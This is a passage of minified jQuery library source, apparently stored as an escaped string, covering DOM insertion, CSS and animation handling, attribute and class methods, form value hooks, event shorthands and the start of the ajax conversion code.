b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,\"script\")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent=\"\");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if(\"string\"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(aa,\"<$1></$2>\");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&\"string\"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,\"script\"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,\"script\"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||\"\")&&!L.access(h,\"globalEval\")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,\"\")))}return this}}),n.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],\"display\");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),\"none\"!==c&&c||(qa=(qa||n(\"<iframe frameborder='0' width='0' height='0'/>\")).appendTo(b.documentElement),b=qa[0].contentDocument,b.write(),b.close(),c=sa(a,b),qa.detach()),ra[a]=c),c}var ua=/^margin/,va=new RegExp(\"^(\"+Q+\")(?!px)[a-z%]+$\",\"i\"),wa=function(b){return b.ownerDocument.defaultView.opener?b.ownerDocument.defaultView.getComputedStyle(b,null):a.getComputedStyle(b,null)};function xa(a,b,c){var d,e,f,g,h=a.style;return c=c||wa(a),c&&(g=c.getPropertyValue(b)||c[b]),c&&(\"\"!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),va.test(g)&&ua.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+\"\":g}function ya(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d=l.documentElement,e=l.createElement(\"div\"),f=l.createElement(\"div\");if(f.style){f.style.backgroundClip=\"content-box\",f.cloneNode(!0).style.backgroundClip=\"\",k.clearCloneStyle=\"content-box\"===f.style.backgroundClip,e.style.cssText=\"border:0;width:0;height:0;top:0;left:-9999px;margin-top:1px;position:absolute\",e.appendChild(f);function g(){f.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute\",f.innerHTML=\"\",d.appendChild(e);var g=a.getComputedStyle(f,null);b=\"1%\"!==g.top,c=\"4px\"===g.width,d.removeChild(e)}a.getComputedStyle&&n.extend(k,{pixelPosition:function(){return g(),b},boxSizingReliable:function(){return null==c&&g(),c},reliableMarginRight:function(){var b,c=f.appendChild(l.createElement(\"div\"));return c.style.cssText=f.style.cssText=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0\",c.style.marginRight=c.style.width=\"0\",f.style.width=\"1px\",d.appendChild(e),b=!parseFloat(a.getComputedStyle(c,null).marginRight),d.removeChild(e),f.removeChild(c),b}})}}(),n.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var za=/^(none|table(?!-c[ea]).+)/,Aa=new RegExp(\"^(\"+Q+\")(.*)$\",\"i\"),Ba=new RegExp(\"^([+-])=(\"+Q+\")\",\"i\"),Ca={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Da={letterSpacing:\"0\",fontWeight:\"400\"},Ea=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function Fa(a,b){if(b in a)return b;var c=b[0].toUpperCase()+b.slice(1),d=b,e=Ea.length;while(e--)if(b=Ea[e]+c,b in a)return b;return d}function Ga(a,b,c){var d=Aa.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||\"px\"):b}function Ha(a,b,c,d,e){for(var f=c===(d?\"border\":\"content\")?4:\"width\"===b?1:0,g=0;4>f;f+=2)\"margin\"===c&&(g+=n.css(a,c+R[f],!0,e)),d?(\"content\"===c&&(g-=n.css(a,\"padding\"+R[f],!0,e)),\"margin\"!==c&&(g-=n.css(a,\"border\"+R[f]+\"Width\",!0,e))):(g+=n.css(a,\"padding\"+R[f],!0,e),\"padding\"!==c&&(g+=n.css(a,\"border\"+R[f]+\"Width\",!0,e)));return g}function Ia(a,b,c){var d=!0,e=\"width\"===b?a.offsetWidth:a.offsetHeight,f=wa(a),g=\"border-box\"===n.css(a,\"boxSizing\",!1,f);if(0>=e||null==e){if(e=xa(a,b,f),(0>e||null==e)&&(e=a.style[b]),va.test(e))return e;d=g&&(k.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Ha(a,b,c||(g?\"border\":\"content\"),d,f)+\"px\"}function Ja(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=L.get(d,\"olddisplay\"),c=d.style.display,b?(f[g]||\"none\"!==c||(d.style.display=\"\"),\"\"===d.style.display&&S(d)&&(f[g]=L.access(d,\"olddisplay\",ta(d.nodeName)))):(e=S(d),\"none\"===c&&e||L.set(d,\"olddisplay\",e?c:n.css(d,\"display\"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&\"none\"!==d.style.display&&\"\"!==d.style.display||(d.style.display=b?f[g]||\"\":\"none\"));return a}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=xa(a,\"opacity\");return\"\"===c?\"1\":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":\"cssFloat\"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;return b=n.cssProps[h]||(n.cssProps[h]=Fa(i,h)),g=n.cssHooks[b]||n.cssHooks[h],void 0===c?g&&\"get\"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b]:(f=typeof c,\"string\"===f&&(e=Ba.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(n.css(a,b)),f=\"number\"),null!=c&&c===c&&(\"number\"!==f||n.cssNumber[h]||(c+=\"px\"),k.clearCloneStyle||\"\"!==c||0!==b.indexOf(\"background\")||(i[b]=\"inherit\"),g&&\"set\"in g&&void 0===(c=g.set(a,c,d))||(i[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=Fa(a.style,h)),g=n.cssHooks[b]||n.cssHooks[h],g&&\"get\"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=xa(a,b,d)),\"normal\"===e&&b in Da&&(e=Da[b]),\"\"===c||c?(f=parseFloat(e),c===!0||n.isNumeric(f)?f||0:e):e}}),n.each([\"height\",\"width\"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?za.test(n.css(a,\"display\"))&&0===a.offsetWidth?n.swap(a,Ca,function(){return Ia(a,b,d)}):Ia(a,b,d):void 0},set:function(a,c,d){var e=d&&wa(a);return Ga(a,c,d?Ha(a,b,d,\"border-box\"===n.css(a,\"boxSizing\",!1,e),e):0)}}}),n.cssHooks.marginRight=ya(k.reliableMarginRight,function(a,b){return b?n.swap(a,{display:\"inline-block\"},xa,[a,\"marginRight\"]):void 0}),n.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f=\"string\"==typeof c?c.split(\" \"):[c];4>d;d++)e[a+R[d]+b]=f[d]||f[d-2]||f[0];return e}},ua.test(a)||(n.cssHooks[a+b].set=Ga)}),n.fn.extend({css:function(a,b){return J(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=wa(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return Ja(this,!0)},hide:function(){return Ja(this)},toggle:function(a){return\"boolean\"==typeof a?a?this.show():this.hide():this.each(function(){S(this)?n(this).show():n(this).hide()})}});function Ka(a,b,c,d,e){return new Ka.prototype.init(a,b,c,d,e)}n.Tween=Ka,Ka.prototype={constructor:Ka,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||\"swing\",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?\"\":\"px\")},cur:function(){var a=Ka.propHooks[this.prop];return a&&a.get?a.get(this):Ka.propHooks._default.get(this)},run:function(a){var b,c=Ka.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Ka.propHooks._default.set(this),this}},Ka.prototype.init.prototype=Ka.prototype,Ka.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=n.css(a.elem,a.prop,\"\"),b&&\"auto\"!==b?b:0):a.elem[a.prop]},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[n.cssProps[a.prop]]||n.cssHooks[a.prop])?n.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},Ka.propHooks.scrollTop=Ka.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},n.fx=Ka.prototype.init,n.fx.step={};var La,Ma,Na=/^(?:toggle|show|hide)$/,Oa=new RegExp(\"^(?:([+-])=|)(\"+Q+\")([a-z%]*)$\",\"i\"),Pa=/queueHooks$/,Qa=[Va],Ra={\"*\":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=Oa.exec(b),f=e&&e[3]||(n.cssNumber[a]?\"\":\"px\"),g=(n.cssNumber[a]||\"px\"!==f&&+d)&&Oa.exec(n.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||\".5\",g/=h,n.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function Sa(){return setTimeout(function(){La=void 0}),La=n.now()}function Ta(a,b){var c,d=0,e={height:a};for(b=b?1:0;4>d;d+=2-b)c=R[d],e[\"margin\"+c]=e[\"padding\"+c]=a;return b&&(e.opacity=e.width=a),e}function Ua(a,b,c){for(var d,e=(Ra[b]||[]).concat(Ra[\"*\"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function Va(a,b,c){var d,e,f,g,h,i,j,k,l=this,m={},o=a.style,p=a.nodeType&&S(a),q=L.get(a,\"fxshow\");c.queue||(h=n._queueHooks(a,\"fx\"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,l.always(function(){l.always(function(){h.unqueued--,n.queue(a,\"fx\").length||h.empty.fire()})})),1===a.nodeType&&(\"height\"in b||\"width\"in b)&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=n.css(a,\"display\"),k=\"none\"===j?L.get(a,\"olddisplay\")||ta(a.nodeName):j,\"inline\"===k&&\"none\"===n.css(a,\"float\")&&(o.display=\"inline-block\")),c.overflow&&(o.overflow=\"hidden\",l.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],Na.exec(e)){if(delete b[d],f=f||\"toggle\"===e,e===(p?\"hide\":\"show\")){if(\"show\"!==e||!q||void 0===q[d])continue;p=!0}m[d]=q&&q[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(m))\"inline\"===(\"none\"===j?ta(a.nodeName):j)&&(o.display=j);else{q?\"hidden\"in q&&(p=q.hidden):q=L.access(a,\"fxshow\",{}),f&&(q.hidden=!p),p?n(a).show():l.done(function(){n(a).hide()}),l.done(function(){var b;L.remove(a,\"fxshow\");for(b in m)n.style(a,b,m[b])});for(d in m)g=Ua(p?q[d]:0,d,l),d in q||(q[d]=g.start,p&&(g.end=g.start,g.start=\"width\"===d||\"height\"===d?1:0))}}function Wa(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&\"expand\"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function Xa(a,b,c){var d,e,f=0,g=Qa.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=La||Sa(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:La||Sa(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(Wa(k,j.opts.specialEasing);g>f;f++)if(d=Qa[f].call(j,a,k,j.opts))return d;return n.map(k,Ua,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(Xa,{tweener:function(a,b){n.isFunction(a)?(b=a,a=[\"*\"]):a=a.split(\" \");for(var c,d=0,e=a.length;e>d;d++)c=a[d],Ra[c]=Ra[c]||[],Ra[c].unshift(b)},prefilter:function(a,b){b?Qa.unshift(a):Qa.push(a)}}),n.speed=function(a,b,c){var d=a&&\"object\"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:\"number\"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue=\"fx\"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(S).css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=Xa(this,n.extend({},a),f);(e||L.get(this,\"finish\"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return\"string\"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||\"fx\",[]),this.each(function(){var b=!0,e=null!=a&&a+\"queueHooks\",f=n.timers,g=L.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&Pa.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||\"fx\"),this.each(function(){var b,c=L.get(this),d=c[a+\"queue\"],e=c[a+\"queueHooks\"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each([\"toggle\",\"show\",\"hide\"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||\"boolean\"==typeof a?c.apply(this,arguments):this.animate(Ta(b,!0),a,d,e)}}),n.each({slideDown:Ta(\"show\"),slideUp:Ta(\"hide\"),slideToggle:Ta(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=0,c=n.timers;for(La=n.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||n.fx.stop(),La=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){Ma||(Ma=setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){clearInterval(Ma),Ma=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(a,b){return a=n.fx?n.fx.speeds[a]||a:a,b=b||\"fx\",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},function(){var a=l.createElement(\"input\"),b=l.createElement(\"select\"),c=b.appendChild(l.createElement(\"option\"));a.type=\"checkbox\",k.checkOn=\"\"!==a.value,k.optSelected=c.selected,b.disabled=!0,k.optDisabled=!c.disabled,a=l.createElement(\"input\"),a.value=\"t\",a.type=\"radio\",k.radioValue=\"t\"===a.value}();var Ya,Za,$a=n.expr.attrHandle;n.fn.extend({attr:function(a,b){return J(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===U?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),d=n.attrHooks[b]||(n.expr.match.bool.test(b)?Za:Ya)),\nvoid 0===c?d&&\"get\"in d&&null!==(e=d.get(a,b))?e:(e=n.find.attr(a,b),null==e?void 0:e):null!==c?d&&\"set\"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+\"\"),c):void n.removeAttr(a,b))},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(E);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)&&(a[d]=!1),a.removeAttribute(c)},attrHooks:{type:{set:function(a,b){if(!k.radioValue&&\"radio\"===b&&n.nodeName(a,\"input\")){var c=a.value;return a.setAttribute(\"type\",b),c&&(a.value=c),b}}}}}),Za={set:function(a,b,c){return b===!1?n.removeAttr(a,c):a.setAttribute(c,c),c}},n.each(n.expr.match.bool.source.match(/\\w+/g),function(a,b){var c=$a[b]||n.find.attr;$a[b]=function(a,b,d){var e,f;return d||(f=$a[b],$a[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,$a[b]=f),e}});var _a=/^(?:input|select|textarea|button)$/i;n.fn.extend({prop:function(a,b){return J(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[n.propFix[a]||a]})}}),n.extend({propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!n.isXMLDoc(a),f&&(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&\"set\"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&\"get\"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){return a.hasAttribute(\"tabindex\")||_a.test(a.nodeName)||a.href?a.tabIndex:-1}}}}),k.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null}}),n.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){n.propFix[this.toLowerCase()]=this});var ab=/[\\t\\r\\n\\f]/g;n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=\"string\"==typeof a&&a,i=0,j=this.length;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,this.className))});if(h)for(b=(a||\"\").match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(ab,\" \"):\" \")){f=0;while(e=b[f++])d.indexOf(\" \"+e+\" \")<0&&(d+=e+\" \");g=n.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0===arguments.length||\"string\"==typeof a&&a,i=0,j=this.length;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,this.className))});if(h)for(b=(a||\"\").match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(\" \"+c.className+\" \").replace(ab,\" \"):\"\")){f=0;while(e=b[f++])while(d.indexOf(\" \"+e+\" \")>=0)d=d.replace(\" \"+e+\" \",\" \");g=a?n.trim(d):\"\",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return\"boolean\"==typeof b&&\"string\"===c?b?this.addClass(a):this.removeClass(a):this.each(n.isFunction(a)?function(c){n(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if(\"string\"===c){var b,d=0,e=n(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===U||\"boolean\"===c)&&(this.className&&L.set(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":L.get(this,\"__className__\")||\"\")})},hasClass:function(a){for(var b=\" \"+a+\" \",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(\" \"+this[c].className+\" \").replace(ab,\" \").indexOf(b)>=0)return!0;return!1}});var bb=/\\r/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e=\"\":\"number\"==typeof e?e+=\"\":n.isArray(e)&&(e=n.map(e,function(a){return null==a?\"\":a+\"\"})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&\"set\"in b&&void 0!==b.set(this,e,\"value\")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&\"get\"in b&&void 0!==(c=b.get(e,\"value\"))?c:(c=e.value,\"string\"==typeof c?c.replace(bb,\"\"):null==c?\"\":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,\"value\");return null!=b?b:n.trim(n.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f=\"select-one\"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(k.optDisabled?c.disabled:null!==c.getAttribute(\"disabled\"))||c.parentNode.disabled&&n.nodeName(c.parentNode,\"optgroup\"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=n.inArray(d.value,f)>=0)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),n.each([\"radio\",\"checkbox\"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>=0:void 0}},k.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute(\"value\")?\"on\":a.value})}),n.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,\"**\"):this.off(b,a||\"**\",c)}});var cb=n.now(),db=/\\?/;n.parseJSON=function(a){return JSON.parse(a+\"\")},n.parseXML=function(a){var b,c;if(!a||\"string\"!=typeof a)return null;try{c=new DOMParser,b=c.parseFromString(a,\"text/xml\")}catch(d){b=void 0}return(!b||b.getElementsByTagName(\"parsererror\").length)&&n.error(\"Invalid XML: \"+a),b};var eb=/#.*$/,fb=/([?&])_=[^&]*/,gb=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,hb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,ib=/^(?:GET|HEAD)$/,jb=/^\\/\\//,kb=/^([\\w.+-]+:)(?:\\/\\/(?:[^\\/?#]*@|)([^\\/?#:]*)(?::(\\d+)|)|)/,lb={},mb={},nb=\"*/\".concat(\"*\"),ob=a.location.href,pb=kb.exec(ob.toLowerCase())||[];function qb(a){return function(b,c){\"string\"!=typeof b&&(c=b,b=\"*\");var d,e=0,f=b.toLowerCase().match(E)||[];if(n.isFunction(c))while(d=f[e++])\"+\"===d[0]?(d=d.slice(1)||\"*\",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function rb(a,b,c,d){var e={},f=a===mb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return\"string\"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e[\"*\"]&&g(\"*\")}function sb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&n.extend(!0,a,d),a}function tb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while(\"*\"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader(\"Content-Type\"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+\" \"+i[0]]){f=e;break}g||(g=e)}f=f||g}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function ub(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if(\"*\"===f)f=i;else if(\"*\"!==i&&i!==f){if(g=j[i+\" \"+f]||j[\"* \"+f],!g)for(e in j)if(h=e.split(\" \"),h[1]===f&&(g=j[i+\" \"+h[0]]||j[\"* \"+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a[\"throws\"])b=g(b);else try{b=g(b)}catch(l){return{state:\"parsererror\",error:g?l:\"No conversion from \"+i+\" to 